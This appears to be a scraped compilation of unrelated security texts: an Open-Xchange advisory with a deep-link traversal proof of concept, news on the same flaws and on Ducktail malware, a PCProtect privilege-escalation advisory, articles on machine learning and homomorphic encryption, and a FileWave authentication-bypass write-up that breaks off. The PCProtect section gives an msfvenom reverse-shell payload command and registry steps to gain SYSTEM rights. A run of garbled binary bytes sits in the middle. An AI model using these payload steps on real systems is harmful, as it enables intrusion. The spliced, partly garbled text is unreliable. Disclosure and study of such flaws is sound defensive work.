OX App Suite through 7.10.6 allows SSRF because multipart/form-data boundaries are predictable, and this can lead to injection into internal Documentconverter API calls.

Nmap Announce Nmap Dev Full Disclosure Security Lists Internet Issues Open Source Dev

**Full Disclosure mailing list archives**

_From_: Martin Heiland via Fulldisclosure <fulldisclosure () seclists org>  
_Date_: Thu, 21 Jul 2022 11:04:12 +0200 (CEST)  

Dear subscribers,

we're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those 
vulnerabilities. Feel free to join our bug bounty programs for OX AppSuite, Dovecot and PowerDNS at HackerOne.

Yours sincerely,
  Martin Heiland, Open-Xchange GmbH



Product: OX App Suite
Vendor: OX Software GmbH



Internal reference: DOCS-4106
Vulnerability type: OS Command Injection (CWE-78)
Vulnerable version: 7.10.6 and earlier
Vulnerable component: documentconverter
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.8.4-rev13, 7.10.3-rev6, 7.10.4-rev6, 7.10.5-rev5, 7.10.6-rev3
Vendor notification: 2022-01-10
Solution date: 2022-01-13
Public disclosure: 2022-07-21
CVE reference: CVE-2022-23100
CVSS: 8.2 (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L)

Vulnerability Details:
OX Documentconverter has a Remote Code Execution flaw that allows authenticated OX App Suite users to run commands on 
the instance which runs OX Documentconverter if they have the ability to perform document conversions, for example of 
E-Mail attachments or OX Drive content.

Risk:
Attackers can inject arbitrary operating-system level commands via OX App Suite API and/or OX Documentconverter API. 
Commands are executed on the instance running OX Documentconverter, based on "open-xchange" user privileges. This can 
be used to modify or exfiltrate configuration files as well as adversely affect the instances availability by excessive 
resource usage. By default the vulnerable Documentconverter API is not publicly accessible, however this might be 
worked around by abusing other weaknesses, configuration flaws or social engineering.

Steps to reproduce:
1. Create a forged Documentconverter API call that embeds escape characters and a system command
2. Inject the malicious API call via App Suite as a proxy or other means

Solution:
We reduceed available API parameters to a limited set of enumerations, rather than accepting API input.



---



Internal reference: MWB-1350
Vulnerability type: Cross-Site Scripting (CWE-80)
Vulnerable version: 7.10.6 and earlier
Vulnerable component: backend
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.8.4-rev78, 7.10.3-rev38, 7.10.4-rev31, 7.10.5-rev37, 7.10.6-rev9
Vendor notification: 2021-11-30
Solution date: 2022-02-15
Public disclosure: 2022-07-21
CVE reference: CVE-2022-23099
CVSS: 3.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N)

Vulnerability Details:
Existing sanitization and filtering mechanisms for HTML files can be bypassed by forcing block-wise read. Using this 
technique, the recognition procedure misses to detect tags and attributes that span multiple blocks.

Risk:
Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted 
actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would require the 
victim to follow a hyperlink.

Steps to reproduce:
1. As attacker, create a HTML malicious code-snippet which masks tags (e.g. <script>) by block boundaries
2. Upload the code snippet to drive and create a sharing link
3. Sent that link to a victim and make it follow it

Solution:
We now check for possible HTML content through overlapping reads from data streams.



---



Internal reference: MWB-1366
Vulnerability type: n/a
Vulnerable version: 7.10.6 and earlier
Vulnerable component: middleware
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.8.4-rev78, 7.10.3-rev38, 7.10.4-rev31, 7.10.5-rev38, 7.10.6-rev9
Vendor notification: 2021-12-10
Solution date: 2022-02-15
Public disclosure: 2022-07-21
CVE reference: CVE-2021-42550
CVSS: n/a

Vulnerability Details:
In the wake of the CVE-2021-44228 (Log4Shell) issue, a similar potential vulnerability at the Logback library has been 
identified (LOGBACK-1591, CVE-2021-42550). At its default configuration, OX App Suite is not susceptible to this 
vulnerability and there are no scenarios that require to deploy a vulnerable configuration.

Risk:
We provide this update strictly as a precaution to mitigate the possibility of a vulnerability. Exploiting 
CVE-2021-42550 at this point would require privileged access to alter system configuration.

Steps to reproduce:
1. n/a

Solution:
We provided a component update to Logback 1.2.8 and slf4j 1.7.32.



---



Internal reference: OXUIB-1172
Vulnerability type: Cross-Site Scripting (CWE-80)
Vulnerable version: 7.10.5 and earlier
Vulnerable component: frontend
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.8.4-rev69, 7.10.3-rev31, 7.10.4-rev28, 7.10.5-rev30
Vendor notification: 2021-11-30
Solution date: 2022-02-15
Public disclosure: 2022-07-21
CVE reference: CVE-2022-23101
CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N)

Vulnerability Details:
Deep-links within E-Mail (e.g. links to Drive files) are not checked for malicious use of the appHandler function (see 
CVE-2021-38374) and may therefore be used to inject references to malicious code.

Risk:
Malicious script code can be executed within a users context. This can lead to session hijacking or triggering unwanted 
actions via the web interface (e.g. redirecting to a third-party site). To exploit this an attacker would require to 
forge App Suite specific mails and force the victim to follow a hyperlink.

Steps to reproduce:
1. As an attacker, create a malicious E-Mail that uses App Suite "Deep-links" as mail header and embed a call to the 
AppLoader component
2. Deliver the mail and make the victim open the link

Proof of concept:
X-Open-Xchange-Share-URL: https://example.com/#!!&app=%2e./%2e./%2e./%2e./%2e./%2e./appsuite/drive/script.js?cut=&id=123

Solution:
We now check for a enumeration of valid applications for deep-links as well.



---



Internal reference: DOCS-4161
Vulnerability type: OS Command Injection (CWE-78)
Vulnerable version: 7.10.6 and earlier
Vulnerable component: documentconverter
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.8.4-rev14, 7.10.3-rev7, 7.10.4-rev7, 7.10.5-rev6, 7.10.6-rev3
Vendor notification: 2022-01-24
Solution date: 2022-02-15
Public disclosure: 2022-07-21
CVE reference: CVE-2022-24405
CVSS: 7.3 (CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N)

Vulnerability Details:
The compatibility layer of documentconverter API processes serialized Java classes when using remote cache calls. This 
can be exploited to inject malicious code that is being executed in the context of the documentconverter component.

Risk:
Attackers can inject arbitrary operating-system level commands via the OX Documentconverter API. Commands are executed 
on the instance running OX Documentconverter, based on "open-xchange" user privileges. This can be used to modify or 
exfiltrate configuration files as well as adversely affect the instances availability by excessive resource usage. By 
default the vulnerable OX Documentconverter API is not publicly accessible and we are not aware that this could have 
been exploited without privileged network or system access.

Steps to reproduce:
1. Create a malicious Java class and serialize it
2. Use the OX Documentconverter API to inject this class as a reference/hash to remote caches

Solution:
We now apply input sanitization to this API call and retrict it to strings. We also implemented a set of additional 
hardening procedures for other API calls which work in a similar way.



---



Internal reference: DOCS-4120
Vulnerability type: Server-Side Request Forgery (CWE-918)
Vulnerable version: 7.10.6 and earlier
Vulnerable component: documentconverter-api
Report confidence: Confirmed
Solution status: Fixed by Vendor
Fixed version: 7.8.4-rev10, 7.10.3-rev5, 7.10.4-rev6, 7.10.5-rev6, 7.10.6-rev3
Vendor notification: 2022-01-10
Solution date: 2022-02-15
Public disclosure: 2022-07-21
CVE reference: CVE-2022-24406
CVSS: 6.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)

Vulnerability Details:
By creating colissions of HTTP multipart-formdata boundaries it is possible to alter the API request parameters between 
OX App Suite and OX Documentconverter. Legitimate multipart-formdata boundaries are created based on a timestamp with 
millisecond resolution. This allows attackers to predict the next boundary and attempt to overwrite its content. The 
most practical way to exploit this is sending a large number of formdata parts, each with a unique boundary based on a 
future point in time.

Risk:
Attackers can modify parameters of internal API calls to OX Documentconverter and by that circumvent network trust 
boundaries. In effect, a server-side request forgery attack is possible, for example to exploit DOCS-4106 
(CVE-2022-23100) with limited privileges using OX App Suite API as a "proxy".

Steps to reproduce:
1. Create a HTTP request with multipart-formdata boundaries representing timestamps in the near future
2. Add internal API parameters to those multipart-formdata sections and use them as requests to OX App Suite API

Solution:
We modified the algorithm to create multipart-formdata boundaries in a way that they are no longer predictable. We also 
restricted the number of multipart-formdata parts to a sensible amount and issue an Exception if a client exceeds it.

**Attachment: signature.asc**  
_Description:_

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

**Current thread:**

*   **Open-Xchange Security Advisory 2022-07-21** _Martin Heiland via Fulldisclosure (Jul 21)_

CVE-2022-24406: Full Disclosure: Open-Xchange Security Advisory 2022-07-21

Security release also includes precautionary patches for potential Log4j-like flaw in Logback library

Security release also includes precautionary patches for potential Log4j-like flaw in Logback library

Diversified technology and infrastructure software provider Open-Xchange has released fixes for several security vulnerabilities impacting OX App Suite.

Available as an on-premise solution or as part of the organization’s cloud offering, OX App Suite is secure email and collaboration software designed for telcos, web hosting firms, and service providers.

The latest patch release includes fixes for two remote code execution (RCE) vulnerabilities that were discovered in the software’s document converter component. CVE-2022-23100 and CVE-2022-24405 earned CVSS scores of 8.2 and 7.3, respectively.

The document converter API was also found to harbor a server-side request forgery (SSRF) vulnerability (CVE-2022-24406) that potentially allowed attackers to predict boundaries and overwrite its content.

**Preemptive patches**

Further down the severity list are two cross-site scripting (XSS) flaws impacting OX App Suite (CVE-2022-23099, CVE-2022-23101). In order to exploit these flaws, an attacker would need to force a victim to click on a malicious link.

In the wake of the Log4Shell issue that rocked the global software development industry last December, OX App Suite also includes an update that addresses a similar potential issue in the Logback component (CVE-2021-42550).

**YOU MIGHT ALSO LIKE** Cisco patches dangerous bug trio in Nexus Dashboard

“At its default configuration, OX App Suite is not susceptible to this vulnerability and there are no scenarios that require to deploy a vulnerable configuration,” the Open-Xchange security advisory reads.

“We provide this update strictly as a precaution to mitigate the possibility of a vulnerability. Exploiting CVE-2021-42550 at this point would require privileged access to alter system configuration.”

**External input**

When asked whether the vulnerabilities were discovered as part of the company’s bug bounty program, Open-Xchange CISO Martin Heiland told _The Daily Swig_: “For this advisory, it was a 50/50 thing. We use input from the bug bounty program as inspiration for our internal research.

“In this case, the full impact of a seemingly ‘medium’ issue reported via the bounty program led to a thorough review process and discovery of a potential remote code execution flaw.”

Read more of the latest news about security vulnerabilities

Heiland added: “Combining internal reviews with external input makes our program very impactful and helps with continuous learning and challenging of our engineering teams. I have been running the bug bounty program for about six years, and it has been very successful for our web applications.”

The vulnerabilities impact OX App Suite versions 7.10.6 and earlier. They have all been fixed by the vendor in various branch updates.

“Most users run automated deployment and our own hosted service uses ‘cloud native’ automation/orchestration, which allows very swift updates,” Heiland said. “Of course, we advise updating as soon as possible, regardless of the deployment method.”

**RECOMMENDED** FileWave MDM authentication bypass bugs expose managed devices to hijack risk

Open-Xchange issues fixes for RCE, SSRF bugs in OX App Suite

In the WeChat application 8.0.10 for Android and iOS, a mini program can obtain sensitive information from a user's address book via wx.searchContacts.

�1!.ނ�h�ɧ��&�ޤT�x|�@$K�Y� ��P,������u�՝$I�0�����Zg�+%���,��� ���=�\\� �K��j���C��)QI��rV�;��K��j���Ht�&Τ���Z�R ���8�$L;��L��a���а���}i�BYRr�\`��vl <��ח��d��'LHt���.�f�1�T\]$�ӓ���c���}����#ۨ�y�1i�!m4ISt߷5�N^,��\`�J�k�B�4\[?s��#�<ү\_?þ���0Zy�� $�-ZD�EF1�

CVE-2021-40180

By Waqas
Ducktail malware targets users and organizations on Facebook Business and Ads platform in this financially motivated malicious new…
This is a post from HackRead.com Read the original post: Ducktail Malware Exploits LinkedIn to Hack Facebook Business Accounts

****Ducktail malware targets users and organizations on Facebook Business and Ads platform in this financially motivated malicious new campaign.****

WithSecure (previously F-Secure) researchers have revealed details of a new spear phishing campaign targeting Facebook business accounts. The campaign has been active since at least July 2021.

The attack, according to researchers, entails using an infostealer dubbed Ducktail designed for stealing browser cookies for authentic Facebook sessions and information from the Facebook account. The objective is to hijack every business account the victim can access.

**Who are the Targets of Ducktail?**

According to WithSecure, Ducktail malware targets those “individuals and organizations” using Facebook Ads and Business services. People involved in digital marketing, managerial jobs, human resources, and digital media are the prime targets.

The Modus Operandi of the campaign involves attackers locating targets through LinkedIn and delivering malware. WithSecure researcher Mohammad Kazem Hassan Nejad wrote the report and stated that most spear phishing campaigns target people via LinkedIn.

> “If you are in a role that has admin access to corporate social media accounts, it is important to exercise caution when interacting with others on social media platforms, especially when dealing with attachments or links sent from individuals you are unfamiliar with.”
> 
> Mohammad Kazem Hassan Nejad – WithSecure

**Who’s the Attacker?**

Researchers are confident that a Vietnam-based threat actor conducts this financially driven campaign. They detected this campaign earlier in 2022. They believe there’s no specific sector or geographic target at the moment. However, the malware has been continuously updated and modified since the second quarter of 2021. However, the threat actor has been active since 2018.

**How does the Scam work?**

According to WithSecure’s report , malware samples were hosted on Cloud services such as MediaFire, iCloud, and Dropbox. The malware is delivered to the targeted individuals through LinkedIn as they usually have Facebook business accounts.

Ducktail malware hosted on iCloud (Image: WithSecure)

Ducktail malware is written in .NET Core and compiled in a single file so its binary can run despite the .NET runtime on the victim’s computer. The attacker can use Telegram for C&C by embedding Telegram.Bot client and other external dependencies in one executable.

Ducktail ensures a single instance runs at all times and keeps scanning for installed browsers to identify cookie paths. Ducktail can collect general information and steals Facebook-related data, which is then exfiltrated to Telegram in several scenarios, such as after the hijacking, when the code loop is completed, or when the process crashes/exits.

Ducktail’s new versions run an infinite loop in the background that enables continuous exfiltration of new updates and cookies from the victim’s Facebook account to interact with it and create an email ID with admin access and finance editor roles, controlled by the attacker.

That’s how the attacker gets full control over the account and edits business credit cards or other financial details such as transactions, payment methods, etc.

Ducktail operation (Image: WithSecure)

**Protection from Ducktail Malware**

The best way to protect yourself from Ducktail malware is to be vigilant about opening emails and attachments from unknown senders and avoiding clicking on links in email messages.

Avoid clicking links or downloading attachments sent by anonymous users through the LinkedIn chat feature or Facebook Messenger. You should also always use strong passwords and two-factor authentication whenever possible.

You should also keep your device updated with the latest security patches to reduce your risk of being infected with Ducktail or any other malware.

1.  Fake LinkedIn job offers scam spreading More\_eggs backdoor
2.  Facebook ads used in spreading Facebook Messenger phishing scam
3.  Facebook Phishing: Crooks Using Messenger Chatbots to Steal Login Data
4.  “I think you appear in this video” phishing scam hijacks Facebook accounts
5.  Hackers Used Fake LinkedIn Job Offer to Hack Off $625M from Axie Infinity

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Ducktail Malware Exploits LinkedIn to Hack Facebook Business Accounts

PCProtect Endpoint version 5.17.470 fails to provide sufficient anti-tampering protection that can be leveraged to achieve SYSTEM privileges.

[+] Credits: Yehia Elghaly (aka Mrvar0x)      
[+] Website: https://mrvar0x.com/  
[+] Source:  https://mrvar0x.com/2022/07/21/pcprotect-endpoint-tampering-exploit/

Vendor:  
=============  
www.pcprotect.com

Product:  
===========  
PCProtect Endpoint Protection v5.17.470

PCProtect is a malware detection and antivirus scanner. It uses advanced heuristics and a massive, continuously updated database to detect malware files on Windows, macOS, and Android devices. It also has an iOS app.  
PCProtect also includes additional features, including:  
Web shield - Virtual private network (VPN) - Data breach monitor - Identity theft protection - System optimizer- Password manager- And much more…

Vulnerability Type:  
===================  
Missing Tamper Protection  
Incorrect Authorization

CVE Reference:  
==============  
N/A

Security Issue:  
================  
PCProtect Antivirus prior to version 5.17.470 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling PCProtect Antivirus and the protection offered by it. Also It lead to Raised privilege to SYSTEM.

That can occurred by modifying a specific registry key.  
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityService  
Change ImagePath path to a malicious executable.

Exploit/POC:  
=============  
Create malicious executable through msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe

Modify (ImagePath) with the path of the malicious executable - Restart

Network Access:  
===============  
Local

Severity:  
=========  
High

[+] Disclaimer  
The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).

Mrvar0x

PCProtect Endpoint 5.17.470 Tampering / Privilege Escalation

Machine learning should be considered an extension of — not a replacement for — existing security methods, systems, and teams.

Contrary to what you may have read, machine learning (ML) isn't magic pixie dust. In general, ML is good for narrowly scoped problems with huge datasets available, and where the patterns of interest are highly repeatable or predictable. Most security problems neither require nor benefit from ML. Many experts, including the folks at Google, suggest that when solving a complex problem you should exhaust all other approaches before trying ML.

ML is a broad collection of statistical techniques that allows us to train a computer to estimate an answer to a question even when we haven't explicitly coded the correct answer. A well-designed ML system applied to the right type of problem can unlock insights that would not have been attainable otherwise.

A successful ML example is natural language processing (NLP). NLP allows computers to "understand" human language, including things like idioms and metaphors. In many ways, cybersecurity faces the same challenges as language processing. Attackers may not use idioms, but many techniques are analogous to homonyms, words that have the same spelling or pronunciations but different meanings. Some attacker techniques likewise closely resemble actions a system administrator might take for perfectly benign reasons.

IT environments vary across organizations in purpose, architecture, prioritization, and risk tolerance. It's impossible to create algorithms, ML or otherwise, that broadly address security use cases in all scenarios. This is why most successful applications of ML in security combine multiple methods to address a very specific issue. Good examples include spam filters, DDoS or bot mitigation, and malware detection.

**Garbage in, Garbage Out**

The biggest challenge in ML is availability of relevant, usable data to solve your problem. For supervised ML, you need a large, correctly labeled dataset. To build a model that identifies cat photos, for example, you train the model on many photos of cats labeled "cat" and many photos of things that aren't cats labeled "not cat." If you don’t have enough photos or they're poorly labeled, your model won't work well.

In security, a well-known supervised ML use case is signatureless malware detection. Many endpoint protection platform (EPP) vendors use ML to label huge quantities of malicious samples and benign samples, training a model on "what malware looks like." These models can correctly identify evasive mutating malware and other trickery where a file is altered enough to dodge a signature but remains malicious. ML doesn't match the signature. It predicts malice using another feature set and can often catch malware that signature-based methods miss.

However, because ML models are probabilistic, there's a trade-off. ML can catch malware that signatures miss, but it may also miss malware that signatures catch. This is why modern EPP tools use hybrid methods that combine ML and signature-based techniques for optimal coverage.

**Something, Something, False Positives**

Even if the model is well-crafted, ML presents some additional challenges when it comes to interpreting the output, including:

*   **The result is a probability.** The ML model outputs the likelihood of something. If your model is designed to identify cats, you'll get results like "this thing is 80% cat." This uncertainty is an inherent characteristic of ML systems and can make the result difficult to interpret. Is 80% cat enough?
*   **The model can't be tuned**, at least not by the end user. To handle the probabilistic outcomes, a tool might have vendor-set thresholds that collapse them to binary results. For example, the cat-identification model may report that anything >90% "cat" is a cat. Your business’s tolerance for cat-ness may be higher or lower than what the vendor set.
*   **False negatives (FN)**, the failure to detect real evil, are one painful consequence of ML models, especially poorly tuned ones. We dislike false positives (FP) because they waste time. But there is an inherent trade-off between FP and FN rates. ML models are tuned to optimize the trade-off, prioritizing the "best" FP-FN rate balance. However, the "correct" balance varies among organizations, depending on their individual threat and risk assessments. When using ML-based products, you must trust vendors to select the appropriate thresholds for you.
*   **Not enough context for alert triage.** Part of the ML magic is extracting powerful predictive but arbitrary "features" from datasets. Imagine that identifying a cat happened to be highly correlated with the weather. No human would reason this way. But this is the point of ML — to find patterns we couldn't otherwise find and to do so at scale. Yet, even if the reason for the prediction can be exposed to the user, it's often unhelpful in an alert triage or incident response situation. This is because the "features" that ultimately define the ML system's decision are optimized for predictive power, not practical relevance to security analysts.

**Would "Statistics" by Any Other Name Smell as Sweet?**

Beyond the pros and cons of ML, there's one more catch: Not all "ML" is really ML. Statistics gives you some conclusions about your data. ML makes predictions about data you didn't have based on data you did have. Marketers have enthusiastically latched onto "machine learning" and "artificial intelligence" to signal a modern, innovative, advanced technology product of some kind. However, there's often very little regard for whether the tech even uses ML, never mind if ML was the right approach.

**So, Can ML Detect Evil or Not?**

ML can detect evil when "evil" is well-defined and narrowly scoped. It can also detect deviations from expected behavior in highly predictable systems. The more stable the environment, the more likely ML is to correctly identify anomalies. But not every anomaly is malicious, and the operator isn't always equipped with enough context to respond. ML's superpower is not in replacing but in extending the capabilities of existing methods, systems, and teams for optimal coverage and efficiency.

The Beautiful Lies of Machine Learning in Security

The open source fully homomorphic encryption library from Duality Technologies is intended to help developers build their own FHE-enabled applications.

While encryption is not a cure-all to address every security challenge, done right, it is an essential component for securing systems, data, and communications. However, doing encryption right is not easy and requires paying careful attention to how it is implemented.

While there are several well-established methods for encrypting data in storage (at rest) and keeping the data encrypted while moving across the network from one system to another (in transit), that isn’t the case for keeping the data encrypted while being processed by applications (in use). Fully homomorphic encryption (FHE) is one way to work with data stored in the cloud or third-party environments while keeping it encrypted.

Several companies have been experimenting with FHE recently. After completing FHE field trials, IBM has begun offering FHE service on IBM Cloud. IBM offers a FHE toolkit for MacOS, iOS, Linux, and Android. Microsoft’s Simple Encrypted Arithmetic Library (SEAL) is a free and open source cross-platform homomorphic encryption library organizations can use to run computations on encrypted data.

FHE currently is slow and has high overhead. Toward that end, Intel is working with Microsoft and DARPA (Defense Advanced Research Projects) to create an ASIC (a specialized microchip customized for a specific purpose) for FHE to help reduce computational overhead and drive down processing time.

And just last week, Duality Technologies released OpenFHE, an open source fully homomorphic encryption library.

"There are several FHE libraries out there, but they suffer from a usability dilemma," said Vinod Vaikuntanathan, co-founder and chief cryptographer at Duality Technologies, in a release. "FHE open source libraries all work on different platforms, implement different features, and have different APIs."

OpenFHE supports advanced FHE features such as bootstrapping, scheme switching, and multiple hardware acceleration backends using the standard Hardware Abstraction Layer (HAL). The associated compilers and other developer tools help developers integrate the library’s encrypted computing capabilities to create their own FHE-enabled applications.

FHE is considered to be the easiest among privacy technology, and OpenFHE is intended to be a “foundational building block” for conducting computations on encrypted data, says Kurt Rohloff, CTO and co-founder of Duality. An example use case allows data providers to encrypt their data locally, aggregate their encrypted data at a central data hub such as a cloud provider, and then run analyses on the data at the hub. All this is possible by using potentially sensitive or private data that doesn’t need to be decrypted.

OpenFHE is the “culmination of years of work” from multiple teams (PALISADE, HElib, and HEAAN) that have “decided to join forces to build the best library possible,” says Rohloff. PALISADE provides a general architecture for an extensible framework that supports multiple post-quantum FHE schemes in a single library, with the ability to integrate general hardware acceleration technologies, he says. HElib provides advanced capabilities for the BGV protocol, allowing for some of the most advanced designs for the most complicated FHE schemes. And finally, HEAAN provides extensive support for CKKS, the protocol most effective for machine learning (ML) applications run on encrypted data.

OpenFHE Brings New Encryption Tools to Developers

An authentication bypass vulnerability exists in FileWave before 14.6.3 and 14.7.x before 14.7.2. Exploitation could allow an unauthenticated actor to gain access to the system with the highest authority possible and gain full control over the FileWave platform.

****By Noam Moshe | July 25, 2022** ****Executive Summary**

*   Team82 has uncovered and disclosed two critical vulnerabilities, CVE-2022-34907 and CVE-2022-34906, in FileWave’s mobile device management (MDM) system.
*   The vulnerabilities are remotely exploitable and enable an attacker to bypass authentication mechanisms and gain full control over the MDM platform and its managed devices. 
*   CVE-2022-34907, an authentication bypass flaw exists in FileWave MDM before version 14.6.3 and 14.7.x, prior to 14.7.2. This vulnerability is similar in nature to the vulnerability that was recently identified in F5 BIG-IP WAF.
*   CVE-2022-34906, a hard-coded cryptographic key, exists in FileWave MDM prior to version 14.6.3 and 14.7.x, prior to 14.7.2.
*   During our research, we found thousands of vulnerable internet-facing FileWave servers in numerous industries, including government agencies, education, and large enterprises.
*   FileWave has addressed these vulnerabilities in a recent update, and users are urged to apply the update. 
*   Team82 wishes to acknowledge and thank FileWave for its cooperation and coordination throughout this disclosure. These vulnerabilities were addressed in a prompt, complete fashion, users were notified, and the vast majority were verified as up to date. 

Below is a demonstration of Team82’s proof-of-concept exploit in action—described in the last section of this report. Our attack compromises the Filewave MDM, then infects each managed device with a phony ransomware sample:

https://claroty.com/wp-content/uploads/2022/07/filewavedemo.mp4

**Introduction**

FileWave MDM is a multi-platform mobile device management solution that allows IT administrators to manage, monitor, and view all of an organization’s devices. Currently, FileWave MDM supports a wide range of devices, from iOS and Android smartphones, MacOS and Windows tablets, laptops and workstations, and smart devices such as televisions.

Through FIleWave MDM, IT administrators can view and manage device configurations, locations, security settings, and other device data. Admins may use the MDM platform to push mandatory software and updates to devices, change device settings, lock, and, when necessary, remotely wipe devices. In order to do so, all managed devices report to the main server at set intervals, and in return, the server can issue commands to the device via file packages, software, and more.

In recent years, there have been attacks against endpoint management products, including one of the more high-profile attacks targeting the Kaseya VSA. Kaseya VSA is used by thousands of service providers for IT management, and it was compromised by the REvil ransomware gang and used to distribute ransomware on endpoints worldwide. More than 1,000 companies suffered substantial downtime because of this attack. 

REvil was able to exploit a zero-day vulnerability in the Kaseya VSA platform to bypass authentication and achieve arbitrary command execution. This allowed the attackers to leverage the standard VSA product functionality to deploy ransomware to managed endpoints. In response, the company shut down its VSA cloud and SaaS servers and issued a security advisory to customers, including those with on-premises deployments of VSA.

This incident shows that this attack vector still applies to management products and we must be vigilant and always on the lookout. 

One of the positive outcomes of Team82’s research was the quick response time by Filewave. Once we notified Filewave they quickly developed and deployed fixes to these issues and actively reached out to their customers. This shows the positive advancement of the response time to security issues by vendors which reduce the attack surface considerably.

**A Powerful Position over Endpoints**

An attacker who is able to compromise the MDM would be in a powerful position to control all managed devices, allowing the attacker to exfiltrate sensitive data such as a device’s serial number, the user’s email address and full name, address, geo-location coordinates, IP address, device PIN codes, and much more. Furthermore, attackers could abuse legitimate MDM capabilities to install malicious packages or executables, and even gain access to the device directly through remote control protocols.

**_Example of data we managed to extract from a Filewave server, containing more than 10,000 managed devices._**

During our research, we were able to identify a critical flaw in the authentication process of the FileWave MDM product suite, allowing us to create an exploit that bypasses authentication requirements in the platform and achieve super\_user access, (the platform’s most privileged user).

By exploiting this authentication bypass vulnerability, we were able to take full control over any internet-connected MDM instance. In our research, we discovered more than 1,100 such instances, each containing an unrestricted number of managed devices. 

This exploit, if used maliciously, could allow remote attackers to easily attack and infect all internet-accessible instances managed by the FileWave MDM, below, allowing attackers to control all managed devices, gaining access to users’ personal home networks, organizations’ internal networks, and much more.

To fully understand the range and relevance of this vulnerability, we had to first know how many organizations actually use this product. In order to do so, we’ve used a few different methods which netted us with more than 1,100 different instances of FileWave MDM, each vulnerable to the vulnerabilities described below. Between those exposed services, we’ve discovered organizations from many different fields, including corporations, schools and educational institutions, government agencies and small-to-medium businesses.

**Technical Details******Looking into CVE-2022-34907: Authentication Bypass****

An important FileWave MDM component is the MDM web server, written in Python using the Django framework. It exposes TCP port 20443 and 20445.

The web server handles not only client devices but also the admin’s GUI application. It retrieves device information from clients, handles device enrollment, and supplies commands to devices. For the admin, the web server returns data about client devices using different query methods, and allows the administrator to control all managed devices, including the ability to change a device configuration remotely, install packages on the device, and remotely control it.

Since this service should be accessible to mobile devices at all times, it is usually exposed to the internet, and handles both clients’ and admins’ requests. Its connectivity makes it a primary target in our research on this platform.

We discovered that this server handles different client types, each authenticating differently. Firstly, there are the mobile devices. By default devices can start the enrollment process and interact with the server without requiring any form of user-based authentication (although the option to require credentials in the enrollment process does exist in FileWave MDM). All enrolled devices are first placed in the “quarantine” group, a logical group of devices that are not part of the organization. This means that all routes that involve device enrollment do not require authentication, however since these routes do not allow us to exfiltrate sensitive data, or to take control over devices, this vector was less explored by us.

**_**FileWave MDM enrollment routes. Through this web server, mobile devices enroll to this specific instance and allow the IT administrators to manage their device.**_**

Then, there is system administrator authentication. This method takes a username/password combination, and returns a valid token. Using this token, the IT admin could retrieve data about devices, change device configurations, and much more. In most cases, this token is checked correctly, and allows only valid users to access routes that require authentication.

**_**The FileWave MDM admin interface. Through this interface, IT administrators can authenticate to the MDM platform.**_**

Lastly, we researched the backend services running on the MDM server, which performs another type of authentication within this service. Except for the MDM web server, there are a few extra services that exist in the FIleWave MDM ecosystem. One service in particular, the scheduler service, also written in Python, caught our attention. Its purpose is to schedule and execute specific tasks that the MDM platform needs to perform, and to call the corresponding callback whenever the tasks are completed.

As part of the business logic of the system, the web server uses the scheduler in many cases, and in return, the scheduler informs the web server whenever a task is finished. In order to do so, the scheduler calls some specific web routes in the web server, routes that are accessible only to authenticated and authorized users in the system. However, the scheduler does not know the administrator’s account details, and instead uses a hardcoded shared secret in order to authenticate to the web server. This shared secret does not change between each installation of FileWave MDM, nor between different versions of the system.

**_**The** SCHEDULER\_SECRET **variable is used by both the scheduler service and web server in order to verify and authenticate the scheduler. This is configured inside this file:** /usr/local/filewave/django/filewave/settings\_common.py._**

In FileWave MDM platform, each route that requires valid authentication must inherit the FWAuthMixin class defined in /usr/local/filewave/django/fwauth/utillity.py (or any class that inherits this class). This check is performed inside the test\_func function, where if this function returns True the request will be fulfilled, and if this function returns False, a 401 Unauthorized will be returned. When we looked into this function we found the code, below, (some code was redacted because it was irrelevant):

**_**The code of the** test\_function **function that decides whether a user is authenticated.**_**

As we can see, this function takes the Authorization header from the HTTP request, and compares it to the scheduler secret (after being base64 decoded). If they match, the request is given the permissions of the super\_user account, which is the system’s administrator account. This means that if we know the shared secret and supply it in the request, we do not need to supply a valid user’s token or know the user’s username and password. Instead we will be granted access to the system using the super\_user’s permissions (which are the highest permissions available).

**_**A request to a vulnerable FileWave MDM server, passing the** SCHEDULER\_SECRET **in its HTTP** Authorization **header, and therefore the server treats the request as if it was made by the scheduler service.**_**

This vulnerability exists in FileWave up to version 13.1.3. However, when we tested this vulnerability against newer versions of the system, we learned it did not work. Something changed making the vulnerability above irrelevant in newer versions, so we decided to look into what that was in newer versions and find a bypass to this new security mechanism.

As it turns out, FileWave changed this logic inside the FWAuthMixin class, instead only accepting valid users’ tokens.

**_**The code to the** test\_func **function in versions newer than 13.1.3. We can see that the server no longer compares the authorization header to the scheduler secret.**_**

